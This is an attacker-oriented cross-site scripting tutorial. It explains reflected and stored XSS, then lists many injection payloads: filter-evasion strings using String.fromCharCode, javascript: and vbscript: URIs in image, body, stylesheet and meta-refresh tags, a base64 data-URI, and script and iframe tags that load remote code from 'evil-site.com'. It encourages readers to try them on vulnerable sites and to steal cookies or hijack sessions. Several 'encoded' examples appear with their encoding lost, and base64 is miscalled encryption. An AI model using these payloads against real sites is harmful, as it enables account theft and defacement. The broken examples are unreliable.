Cross Site Scripting (XSS) Tutorial
Cross Site Scripting (XSS) Tutorial
Simply put, cross site scripting involves the injection of
malicious code into a website. It is the most common method of
attack at the moment, as most large sites will contain at least one
XSS vulnerability. However, there is more than one type of XSS. The
most commonly found is referred to as "non persistent" XSS.
None Persistent XSS
Non persistent as the title suggests means that the injected
script isn't permanent and just appears for the short time the user
is viewing the page. The best example of this is a basic coded
search engine for a site. Say for example, the site search script is
in this format:
Site.com/search.php?search=text
here
Once something has been searched for, the script may display on
the page something along the lines of:
"Results for text here"
Simply echoing your search string straight onto the page without
performing any validation checks. What if we were to alter the
search string to display html of JavaScript? For example:
Site.com/search.php?search=<font
color=red>XSS</font>
Site.com/search.php?search=<script>alert("XSS");</script>
If no sanitation checks are being performed by the search script,
this will just be echoed straight onto the page, therefore
displaying an alert or red text. If there was no limit to the size,
this could be used to display anything you want.
However, since the attacker can only display code on their own
pages, this isn't much of a threat to other users. Although if the
string was turned into Hex the search string may be slightly more
hidden and with a little deception could be used to trick users into
thinking the link is legitimate.
Next there's persistent XSS
Persistent XSS
Again as the name suggests, this is the type of XSS attack the
attacker would want to get. Persistent attacks are injected
permanently into the code of the site, so anyone who views the site
will be able to see permanently. In order for these to work, the
code has to be made to store itself on the sites server somehow,
which can be hard to find.
An embarrassing example of this was an XSS vulnerability
discovered on this site by one of our users (fixed now, obviously)
affecting the page all.php. The register process wasn't sanitized at
all, so all a user had to do was simply register with a username
containing HTML or JavaScript code. This was an obvious
vulnerability which should have been spotted from the beginning, but
just like XSS on other sites it was missed. If not fixed, this
vulnerability would effect all.php as well as the forums and
anywhere where the username was displayed on the site. A good place
to look out for this vulnerability is basic forum scripts that site
owners have made themselves or found off sites designed to help
novices.
With both of these attacks, it is also possible to run malicious
code from another site again making the possibilities of attack
endless. Javascript has a lot of features the are not well know,
such as changing the images on sites from images[number].src and
anyone who uses myspace will know the CSS can be used to remove or
replace certain sections of a site based on name. If you have a
permanently vulnerable site, injecting code as simple as the one
below will allow you to run XSS off another site:
<SCRIPT SRC=http://evil-site.com/xss.js>
</SCRIPT>
Getting Past Basic Protection
So what if a site owner knows about XSS, but has provided some
but very little protection against it? Well, this is where CharCode
comes in. Char code is basically just a simple form of character
encoding that can encode blocked characters so they get past the
protection but still get displayed normally on the page. Here is a
very common one that will pop up alerts saying "XSS" if it is
vulnerable:
';alert(String.fromCharCode(88,83,83))//\';
alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//\";
alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>
alert(String.fromCharCode(88,83,83))</SCRIPT>
This is a very useful XSS to know, as it provides more than one
type of attack at once. If you get only one or two alerts, you know
that only one of two of them work, so you need to try to eliminate
some of them to text which one is affecting the site. The CharCode
for "X" is 88 and "S" is 83. As you can see, each provides a slight
variation to try to beat character blocking.
XSS could also be hidden in a none existent image. This code
below would run malicious JavaScript disguised as an image:
<img src="javascript:alert('XSS');">
What if quotes are blocked? No problem, just inject the site like
so:
<img src=javascript:alert("XSS")>
The " will be interpreted in html as a " so the code will
run fine. The next one below is very likely to work if you find a
site is vulnerable.
<img src=javascript:alert(String.fromCharCode(88,83,83))>
The XSS is hidden in image form and CharCode is being used to
display the XSS vulnerability.
Now things get slightly more complicated as we enter ASCII and
Unicode. Unicode is just a basic code that was invented to allow all
characters to be available to everyone e.g. for different languages
such as chinese character symbols. And ASCII has a similar purpose.
You can go to
http://www.asciitable.com
to view the HTML code needed for ASCII code. This below shows the
whole code in ASCII form:
<img src=javasc
ript:ale
rt('XSS')>
As you can tell, this will beat many filters as the code is
basically unrecognisable. However, translating the code can display
what it was designed to do. Next for Unicode, again this makes the
text unrecognisable but works the same:
<img src=java
scrip
t:ale
rt('X
SS')>
If the site has a limited amount of characters allowed, this
probably won't be useful. As mentioned previously, hex can also be
used for XSS. The example below shows this:
<IMG SRC=javascri
pt:alert('
XSS')>
Again unrecognisable which makes it a great XSS to use.
The list of possible XSS attacks is endless and is far more than
is covered here. With so many ways to bypass security checks site
owners have to work harder to try to protect their sites. As well as
web forms being used on most sites these days allowing users to
enter code which will be stored somewhere and inevitably viewed by
someone else XSS can be used for almost anything. With practise XSS
can be used to run a hidden cookie stealer which a user will view
and allow you to steal their login info or if sessions are used
perform "session hijacking" where you steal their session data and
again log in as them. To the simple defacement of a website through
HTML or Javascript. XSS is definitely an attack method which should
be studied well as it provides such a common method of attack.
As mentioned above, the list of possible XSS attacks is endless,
there isn't enough room to mention them here, but I will finish with
some more XSS examples that may effect a vulnerable site.
<IMG SRC="jav
ascript:alert('XSS');">
- new line
vulnerability
<iframe src=http://evil-site.com/evil.html <
- XSS using an
iframe to display a whole new page
<SCRIPT>x=/XSS/ alert(x.source)</SCRIPT>
- again beat
checks using Javascript
<BODY BACKGROUND="javascript:alert('XSS')">
- infected body tag
<BGSOUND SRC="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
- stylesheet vulnerability
<IMG SRC='vbscript:msgbox("XSS")'> - vbscript, scripting language
similar to javascript, again can help beat validation checks
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
- incorrectly parsed meta refresh
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;
base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
- base64 encoding, another form of encryption, this one is less
likely to work.
<SCRIPT SRC="http://evil-site.com/xss.jpg"></SCRIPT>
- very
sneaky method, here you rename your .js to .jpg, but since you have
the script tags it will still be read as a js file.
The list goes on and on, the best way is to just try them
yourself. A lot of the time incorrectly written HTML code will be
the best method. If one way doesn't work, try adding an extra ">" or
"<" to the start or end of the code for example or view the source
of the page for code tags you need to close. Adding a "'>" to the
end then starting your own malicious code. Well, that's the end of
this tutorial. For more XSS attack example just use google as more
of these are being though up every day. Soon you should even be able
to invent your own.
Post a Comment